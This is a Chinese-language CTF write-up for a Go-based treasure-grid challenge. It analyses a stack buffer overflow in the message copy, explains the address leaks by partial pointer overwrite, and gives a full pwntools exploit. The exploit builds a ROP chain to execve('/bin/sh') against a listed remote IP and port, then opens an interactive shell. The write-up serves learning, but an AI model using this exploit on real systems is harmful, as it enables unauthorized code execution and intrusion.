-
-
[原创]第八题 挖宝
-
2019-3-23 03:04 3380
-
挖宝
程序分析
用ida打开该程序,初步分析发现程序是由go语音编写,使用开源工具golang_loader_assist对程序进行函数名识别,能够看到绝大多数程序的名称,主函数如下:
Ida里面的go程序,可以看出每个函数的真实传参是从第7个开始,也就是64位下栈传参的位置,这样就能看出函数的真正传参过程。
通过分析和运行得知,该程序是一个游戏,在6*6大小的格子里面随意移动,有四个宝藏点,其中Treasure1、2、3三个是固定的,分别在(5,0)(5,5)(0,5),而Treasure4是随机的,在main_randtreasure里面进行了随机化,如下:
且在程序游戏开始的时候,启动了一个main_joker线程,如下:
Joker线程的作用是,每隔一秒检测一次,判断当前的位置是否接近了Treasure4(距离小于等于1步),如果是就再次随机化Treasure4的位置,如下:
游戏每次到达一个Treasure的位置时,都能留下信息,游戏的过程就是上述逻辑。
漏洞点
当游戏到达Treasure点后,留消息时代码如下:
其中main_memcpy的实现如下:
拷贝是按照size来定的,而size的传入是有scan来决定的,所以如果scan输入的长度大于dst缓冲区时,就能够产生溢出。
利用方式
通过分析Treasure1、2、3、4,发现前三种都是在堆上,只有4是在栈上,如下:
由于go语言里面的堆申请和释放比较麻烦,所以在此采用栈的利用方法,虽然程序开启了canary check,但是go代码里面并没有,因此可以直接使用,不需要泄露canary,此外程序要到达Treasure4才能触发栈溢出,前面分析过,虽然存在随机化的问题,但是检测时sleep1秒还是比较长,可以通过多次尝试来解决。
由于程序开启了地址随机化,因此需要泄露地址信息,观察栈可以看出来,地址指针在缓冲区的下方,如下:
在输入后,会将该指针里面的数据转换为string,如下:
因此如果能够更改dst的指针,就能泄露信息,通过改写dst的低字节(1字节),可以泄露栈上数据,包括栈地址等,然后根据栈地址,实现任意栈上数据泄露,从而实现程序基址和libc基址,后续利用直接就是最基本的栈溢出即可,
具体见利用代码。
from pwn import * def show_debug_info(flag = True): global show_info_sign if flag == True: #context.log_level = 'DEBUG' show_info_sign = True else: #context.log_level = 'info' show_info_sign = False def d2v_x64(data): return u64(data[:8].ljust(8, '\x00')) def d2v_x32(data): return u32(data[:4].ljust(4, '\x00')) def expect_data(io_or_data, b_str = None, e_str = None): if type(io_or_data) != str: t_io = io_or_data if b_str != None and b_str != "": recvuntil(t_io, b_str) data = recvuntil(t_io, e_str)[:-len(e_str)] else: if b_str == None or b_str == "": b_pos = 0 else: t_data = io_or_data b_pos = t_data.find(b_str) if b_pos == -1: return "" b_pos += len(b_str) if e_str == None or e_str == "": data = t_data[b_pos:] else: e_pos = t_data.find(e_str, b_pos) if e_pos == -1: return "" data = t_data[b_pos:e_pos] return data import sys def show_echo(data): global show_info_sign if show_info_sign: sys.stdout.write(data) def recv(io, size): data = io.recv(size) show_echo(data) return data def recvuntil(io, info): data = io.recvuntil(info) show_echo(data) return data def send(io, data): io.send(data) show_echo(data) def sendline(io, data): send(io, data + "\n") def rd_wr_str(io, info, buff): #io.recvuntil(info, timeout = 2) #io.send(buff) data = recvuntil(io, info) send(io, buff) return data def rd_wr_int(io, info, val): return rd_wr_str(io, info, str(val) + "\n") def r_w(io, info, data): if type(data) == int: return rd_wr_int(io, info, data) else: return rd_wr_str(io, info, data) def set_context(): binary_elf = ELF(binary_path) context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian) import commands def do_command(cmd_line): (status, output) = commands.getstatusoutput(cmd_line) return output global_pid_int = -1 def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""): if is_local: set_pid(io) if is_pie == True: if code_base == 0: set_pid(io) data = do_command("cat /proc/%d/maps"%global_pid_int) code_base = int(data.split("\n")[0].split("-")[0], 16) #gdbscript = "" for item in break_list: gdbscript += "b *0x%x\n"%(item + code_base) gdbscript += "c\n" gdb.attach(global_pid_int, gdbscript = gdbscript) def set_pid(io): global global_pid_int if global_pid_int == -1: if is_local: """ data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1] #print "-"*0x10 #print repr(data) items = data.split(" ")[1:] global_pid_int = 0 i = 0 while len(items[i]) == 0: i += 1 global_pid_int = int(items[i]) #""" global_pid_int = pidof(io)[0] def gdb_hint(io, info = ""): if info != "": print info if is_local: set_pid(io) raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int) if info != "": print "pass", info def gdb_hint(io, info = ""): if info != "": print info if is_local: raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0]) if info != "": print "pass", info def get_io(target): if is_local: io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path}) else: io = remote(target[0], target[1]) return io def r_w(io, info, data): if type(data) == int: rd_wr_int(io, info, data) else: rd_wr_str(io, info, data) def m_c(io, choice, prompt = ">> "): r_w(io, prompt, choice) def set_item(io, choice, prompt = ["?\n"]): r_w(io, prompt, choice) def move_to(io, way, payload_list = [], signal = False, addr = 0, get_shell = False, addr_list = []): r_w(io, ")>>", way + "\n") data = recv(io, 16) #print data if "Congratulations" in data: data = recvuntil(io, "\n") if "Treasure 1" in data: r_w(io, ">>", payload_list[0]) data = expect_data(io, "message: ", "\nYour") elif "Treasure 2" in data: r_w(io, ">>", payload_list[1]) data = expect_data(io, "message: ", "\nYour") elif "Treasure 3" in data: r_w(io, ">>", payload_list[2]) data = expect_data(io, "message: ", "\nYour") elif "Treasure 4" in data: #gdb_hint(io) r_w(io, ">>", payload_list[3]) if get_shell == True: return True, data, 0, addr_list data = expect_data(io, "message: ", "\nYour") print repr(data) for i in range(len(data)/8): print i, hex(u64(data[i*8:i*8+8])) if len(addr_list) < 100: addr_list.append(u64(data[i*8:i*8+8])) if addr == 0: addr = u64(data[0*8:0*8+8]) #if signal == True: # io.interactive() signal = True return signal, data, addr, addr_list def move_to2(io, way): r_w(io, ")>>", way + "\n") data = recv(io, 16) #print data if "Congratulations" in data: data = recvuntil(io, "\n") if "Treasure 1" in data: r_w(io, ">>", "a\n") data = expect_data(io, "message: ", "\nYour") elif "Treasure 2" in data: r_w(io, ">>", "a\n") data = expect_data(io, "message: ", "\nYour") elif "Treasure 3" in data: r_w(io, ">>", "a\n") data = expect_data(io, "message: ", "\nYour") elif "Treasure 4" in data: #gdb_hint(io) r_w(io, ">>", "a\n") def leak_addr(io, addr_pos): payload1 = "a"*0x1 + "\n" payload2 = "a"*0x1 + "\n" payload3 = "a"*0x1 + "\n" payload4 = "1"*0xc0 + p64(addr_pos) + "\n" payload_list = [] payload_list.append(payload1) payload_list.append(payload2) payload_list.append(payload3) payload_list.append(payload4) show_debug_info(True) signal = False code_addr = 0 addr_list = [] for i in range(6): for j in range(5): signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list) signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list) for j in range(5): signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list) print addr_list for i in range(5): move_to2(io, "s") print addr_list return code_addr def get_shell(io, payload): payload1 = "a"*0x1 + "\n" payload2 = "a"*0x1 + "\n" payload3 = "a"*0x1 + "\n" payload4 = "1"*0xc0 + payload + "\n" payload_list = [] payload_list.append(payload1) payload_list.append(payload2) payload_list.append(payload3) payload_list.append(payload4) signal = False code_addr = 0 while signal == False: addr_list = [] for i in range(6): for j in range(5): signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, get_shell = True) if signal == True: return signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, get_shell = True) if signal == True: return for j in range(5): signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, get_shell = True) if signal == True: return for i in range(5): move_to2(io, "s") def pwn(io, index_offset): #offset info if is_local: #local offset_system = 0x0 offset_binsh = 0x0 else: #remote offset_system = 0x0 offset_binsh = 0x0 r_w(io, "name :\n", "hello\n") show_debug_info(False) payload1 = "a"*0x1 + "\n" payload2 = "a"*0x1 + "\n" payload3 = "a"*0x1 + "\n" payload4 = "1"*0xc0 + p64(00)[:1] + "\n" #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n" #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n" payload_list = [] payload_list.append(payload1) payload_list.append(payload2) payload_list.append(payload3) payload_list.append(payload4) signal = False while signal == False: code_addr = 0 addr_list = [] for i in range(6): for j in range(5): signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list) #print addr_list signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list) #print addr_list for j in range(5): signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list) #print addr_list for i in range(5): move_to2(io, "s") stack_addr = addr_list[3] payload1 = "a"*0x1 + "\n" payload2 = "a"*0x1 + "\n" payload3 = "a"*0x1 + "\n" payload4 = "1"*0xc0 + p64(stack_addr) + "\n" #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n" #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n" payload_list = [] payload_list.append(payload1) payload_list.append(payload2) payload_list.append(payload3) payload_list.append(payload4) signal = False while signal == False: code_addr = 0 addr_list = [] for i in range(6): for j in range(5): signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list) #print addr_list signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list) #print addr_list for j in range(5): signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list) #print addr_list for i in range(5): move_to2(io, "s") code_base = 0 addr_offset = [0x3f26b0, 0x417b40, 0x40e6b0, 0x40e9a0, 0x121ec0, 0x408880, 0x417ac0] print addr_list for val in addr_list: code_addr = 0 if val > 0x550000000000 and val < 0x570000000000: print "in" for i in range(len(addr_offset)): code_base = (val - addr_offset[i])&0xffffffffffffffff print i, "code_base:", hex(code_base) if (code_base & 0xfff) == 0: code_addr = val break if code_addr != 0: break print "code_addr:", hex(code_addr) print "code_base:", hex(code_base) #raw_input(":") if code_addr > 0x550000000000 and code_addr < 0x570000000000: pass else: return 0 if (code_base & 0xfff) != 0: print hex(code_base) #gdb_hint(io) return #gdb_hint(io) malloc_ptr = 0x474F90 + code_base __GI___libc_malloc_addr = leak_addr(io, malloc_ptr) print "__GI___libc_malloc_addr:", hex(__GI___libc_malloc_addr) if __GI___libc_malloc_addr == 0: return 0 libc_base = __GI___libc_malloc_addr - 0x84130 #remote libc_base = __GI___libc_malloc_addr - 0x97070 print "libc_base:", hex(libc_base) #raw_input(":") #raw_input(":") p_rdi_ret = 0x000000000010a4dd + code_base # : pop rdi ; ret p_rsi_ret = 0x000000000011422e + code_base # : pop rsi ; ret p_rdx_ret = 0x0000000000171b62 + code_base # : pop rdx ; ret system_addr = libc_base + 0x45390 binsh_addr = libc_base + 0x18cd57 execve_addr = libc_base + 0xcc770 #remote system_addr = libc_base + 0x4f440 binsh_addr = libc_base + 0x1b3e9a execve_addr = libc_base + 0xe4e30 payload = "" payload += p64(code_base + 0x499200) payload += p64(0x30) payload += "a"*0x50 payload += p64(p_rdi_ret) payload += p64(binsh_addr) payload += p64(p_rsi_ret) payload += p64(0) payload += p64(p_rdx_ret) payload += p64(0) payload += p64(execve_addr) payload += 'b'*0x10 payload += 'c'*0x10 show_debug_info(True) #gdb_hint(io) get_shell(io, payload) sendline(io, "cat flag") io.interactive() exit(0) #gdb_attach(io, [0xD83A0], True) is_local = True is_local = False binary_path = "./trepwn" libc_file_path = "" #libc_file_path = "./libc.so" ip, port = "", 0 items = "211.159.175.39 8787".split(" ") #items = "127.0.0.1 1234".split(" ") ip = items[0] port = int(items[1]) show_info_sign = True if is_local: # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING'] show_debug_info(True) target = binary_path else: show_debug_info(False) target = (ip, port) while True: try: io = get_io(target) if pwn(io, 0) == 0: io.close() continue else: io.close() except Exception, e: #raise io.close()
[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法